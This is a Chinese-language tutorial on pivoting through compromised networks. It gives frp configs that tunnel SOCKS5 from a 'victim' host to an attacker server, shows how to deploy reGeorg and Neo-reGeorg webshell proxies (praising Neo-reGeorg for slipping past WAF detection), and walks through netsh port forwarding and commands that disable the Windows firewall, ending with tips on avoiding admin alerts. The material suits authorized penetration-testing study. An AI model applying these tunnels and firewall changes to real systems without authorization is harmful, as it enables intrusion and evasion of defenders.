一、利用frp进行加密内网穿透
1、FRP简介:
简单来说,frp就是正经的内网穿透工具,被不正经的人用来从事不正经的活动。目前就使用体验来说,frp 的代理网络比cobalt strike的socks4a好用一些。
项目地址:https://github.com/fatedier/frp
2、FRP的下载于安装:
https://github.com/fatedier/frp/releases 这个是作者自己编译好的文件,根据我们自己的系统下载响应版本的程序即可,注意:
由于该程序的功能较多,并且是Golang打包的二进制文件,所以文件体积会比较大,在实战环境中可以先用UPX(https://github.com/upx/upx/releases)压缩壳,压缩后再使用。
压缩后frp文件的体积只有原来的四分之一:
Upx.exe -9 frpc.exe
Upx.exe -9 frps.exe
3、FRP建立socks5代理:
①服务器【Windows端】,IP:192.168.100.50
Frps.ini文件内容:
[common]
bind_addr = 0.0.0.0
bind_port = 7000 //frp server端监听一个端口,等待frp client的连接
然后执行frps.exe -c frps.ini ,如果是linux就是./frps -c ./frps.ini
②目标(受害者)机器【Windows端】
Frpc.ini文件内容:
[common]
server_addr = 192.168.100.50 //frp server的IP
server_port = 7000 //frp server上开放的端口,就是frpc.ini中写的端口
tsl_enable = ture
pool_count = 5
[plugin_socks]
type = tcp
remote_port = 1080 //会让server端在vps开启1080端口,以供socks5服务
plugin = socks5
plugin_user = 111 //socks5接入时的账号
plugin_passwd = 111 //socks5接入时的密码
use_encryption = ture //加密数据
use_compression = ture //压缩数据
然后执行frpc.exe -c frpc.ini ,如果是linux就是./frpc -c ./frpc.ini
③用代理服务器连接即可,注意填写,frpc.ini中设置的账号密码:
二、利用reGeorg建立http加密代理
1、reGeorg简介:
在拿到webshell之后,如果发现无法提权也无法执行命令,只能停留在web层面,如果不做web的权限维持,那就只能选择内网渗透了,抓紧时间了解内网的整体情况。因此在web层面也是可以代理的,方法就是利用脚本去复用http端口。
reGeorg是一款基于web的代理工具,我们可以通过它将脚本上传到目标web服务器后进行访问,从而跟客户端配合建立Socks服务。该代理工具于2014年被公开于BlackHat,其前身是2008年SensePost在BlackHat USA 2008的reDuh延伸于扩展,可以看看:https://www.blackhat.com/eu-14/arsenal.html#regeorg
2、reGeorg的使用:
客户端需要安装一些python包,报错就自行安装,一般是urllib3的包,pip install urllib3即可。
项目地址:https://github.com/sensepost/reGeorg
3、reGeorg的弊端:
因为很多人使用,所以一般waf都会将它列入查杀的对象,检测流量和脚本特征。
4、Neo-reGeorg简介:
Neo-reGeorg是reGeorg的重构项目,至今还在更新,并且与reGeorg的用法非常相似,相较于reGeorg它有一下几点优势:
①添加了连接密码
②将传输过程进行加密的同时避免特征检测(原本的reGeorg是明文的)
③支持更多的格式
https://github.com/L-codes/Neo-reGeorg
5、Neo-reGeorg的代理:
①生成脚本:
Python3 neoreg.py generate -k <连接密码> -o <指定输出目录>
②上传脚本
生成后,挑一个能在客户端执行的脚本上传
③执行脚本
执行脚本后会自动生成一个socks5代理的1080端口给我们使用,我们也可以在命令后面加上-p <端口>和-I <IP>来更换。
连接代理成功,流量将从本机的1080端口转发到内网主机上
④用proxifier等工具连接即可
然后配置一下代理规则,让其选择通过192.168.109.*这个地址段,也可以选择任意端口任意地址,也可以代理本地的mstsc.exe等等,根据自己的需求来。
当然,我们也可以直接在火狐浏览器开代理:
Neo-reGeorg还有许多高级用法,例如伪装成404页面等等,可以去https://github.com/L-codes/Neo-reGeorg/blob/master/README.md 看看。
三、利用系统自带的netsh进行内网转发
1、netsh简介:
Netsh是一款自带的高级网络配置管理器,利用它可以轻松的管理本地或者远程机器的Windows防火墙及各类系统网络配置。它一开始是为了让运维更加舒服的工具,后面被渗透老手发现了没被用来从事渗透活动,成为一个既没有进程又较被杀的转发工具。
2、使用场景:
邮件服务器10.10.10.6只能被FTP服务器访问,而FTP 没有开启防火墙,那么我们就可以利用netsh让FTP服务器监听一个端口,然后把该端口的数据转发到其他机器的某个端口(例如转发到邮件服务器10.10.10.6的443端口)
Netsh的用法跟LCX的-tran参数一样,所以我们可以在FTP服务器(192.168.1.128)上使用netsh,然后在web服务器(192.168.2.3)上使用lcx转发或者建立一个反向的socks代理到我们的VPS上即可。
即:Hacker ==> Socks ==> 192.168.1.128:8443 -->10.10.10.6:443
netsh interface portproxy add v4tov4 listenaddress=192.168.1.128 listenport=8443 connectaddress=192.168.1.4 connectport=443
此时我们只要在192.168.2.3建立一个反向的socks代理规则后,访问FTP服务器的192.168.1.128的8443端口,就能访问邮件服务器的web了。
Ⅰ 显示所有netsh端口转发规则:
netsh interface portproxy show v4tov4
Ⅱ 删除某条规则
netsh interface portproxy delete v4tov4 listenaddress=192.168.1.128 listenport=8443
四、netsh在渗透中应用【防火墙】
1、netsh在渗透中的应用【防火墙】:
其实Netsh不仅仅被用来做端口转发的工具,还有很多功能可以用于渗透当中。
2、用于获取基础信息:
① 查看IP配置信息:
Netsh interface ip show config
② 开/关网卡:
Netsh int set int name=”ethernet” admin=enabled
Netsh int set int name=”ethernet” admin=disabled
③ 设置本机IP、子网掩码、网关IP:
Netsh interface ip set address “local area connection” static 192.168.1.2 255.255.255.0 192.168.1.1
3、控制系统防火墙——开关防火墙:
① 关闭防火墙:
Netsh advfirewall set allprofiles state off //全部关闭
Netsh firewall set opmode mode=disable //会有公用网络的不关闭
② 开启防火墙:
Netsh advfirewall set allprofiles state on //全部开启
Netsh firewall set opmode mode=enable //会有公用网络的不关闭
③ 查看所有防火墙规则:
Netsh advfirewall firewall show rule name=all
④ 查看当前防火墙状态:
Netsh advfirewall show currentprofile
4、配置防火墙规则
Netsh advfirewall firewall add rule name="Block Ports" protocol=TCP dir=out remoteport=80 action=block
新建一条名为:Block Ports的规则,该规则的作用是拦截远程访问80端口的一切基于TCP协议的连接
Name:规则名称(取⼀个描述性的名字)
Protecol:要阻⽌的协议(⼤部分是UDP或TCP)
Dir:阻⽌的⽅向。可以是IN或OUT
Remote Port:要阻⽌的⽬标主机的端口
Action:可以是阻⽌或允许。在本例中,我们要阻⽌连接。
也可以用netsh advfirewall firewall add rule ?看一下用法
实例:
① 新建⼀条名为:Test,允许数据从443端口进来基于TCP协议的规则
Netsh advfirewall firewall add rule name=test protocol=TCP dir=IN localport=443 action=allow
② 新建⼀条名为:Test,禁⽌ICMP出去的规则
Netsh advfirewall firewall add rule name=test protocol=ICMPv4 dir=OUT action=block
Netsh advfirewall firewall add rule name=test protocol=ICMPv6 dir=OUT action=block
③ 新建⼀条名为:Test,禁⽌数据去往8443,443端口TCP协议的规则
Netsh advfirewall firewall add rule name=test protocol=TCP remoteport=8443,443 dir=OUT action=block
④ 新建⼀条名为:Test,只允许192.168.2.2和192.168.2.3访问本机HTTP端口80的规则
Netsh advfirewall firewall add rule name=test protocol=TCP dir=IN remoteip=192.168.2.2,192.168.2.3 localport=80 action=allow
⑤ 新建⼀条名为:Test,允许c:\1.exe该程序进⾏任何出⽹请求的规则
Netsh advfirewall firewall add rule name=test program="c:\1.exe" DIR=out action=allow
⑥ 删除⼀条名为:Test,允许c:\1.exe该程序进⾏任何出⽹请求的规则
Netsh advfirewall firewall delete rule name=test program="c:\1.exe" DIR=out
⑦ 删除命名为Test的所有规则
Netsh advfirewall firewall delete rule name="Test"
可以实现一个名字,多条规则
最后,关闭防火请需要谨慎,在大型机构内,系统防火墙会被外部防火墙监控着的,有关闭改动的情况是会提醒管理员的,特别是关键部位的机器,普通机器可能风险小一些。因此能不动防火墙就不动,能新增就不要关闭。